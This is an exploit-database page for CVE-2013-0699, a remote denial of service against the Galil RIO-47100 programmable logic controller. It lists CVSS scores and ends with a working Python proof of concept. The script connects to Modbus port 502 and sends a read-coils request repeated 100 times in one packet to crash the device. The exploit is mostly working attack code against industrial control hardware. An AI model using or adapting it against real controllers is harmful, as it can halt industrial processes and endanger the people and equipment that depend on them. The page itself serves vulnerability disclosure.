Galil-RIO Modbus Denial Of Service

2013.07.29
Credit: Sapling
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 7.1/10
Impact Subscore: 6.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Complete

# Exploit Title: Galil RIO-47100 # Date: 05-01-2013 # Exploit Author: Sapling # Vendor Homepage: www.galilmc.com # Version: Rio Firmware Prior to 1.1d # CVE : CVE-2013-0699 # ICSA: ICSA-13-116-01 /* There are many different ways to crash this PLC but most of them are centralized around the repeating a request in a single packet format. So read a coil repeated in a single packet. The Rio-47100 by Galil is a small PLC with an internal RISC based processor. It communicates using ModBus, or Telnet over Ethernet as well as having a web server built in that allows a user to issue commands. I take no responsibility for the use of this code and using this code you agree to take responsibility for your own actions. */ # Python Proof of concept # A quick run down of the last half start at \x06 # \x06 length # \x01 unit id # \x01 function code (read coils) # \x00\x00 start address # \x00\x01 coil quantity # Repeat the request in the packet 100 times # Unfortunateley I can't remember the minimum number of times you have to repeat to cause the crash import sys import socket new = socket.socket(socket.AF_INET, socket.SOCK_STREAM) new.connect(('192.168.1.12', 502)) #Change the IP address to your PLC IP Address new.send('\x00\x01\x00\x00\x00\x06\x01\x01\x00\x00\x00\x01'*100)


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top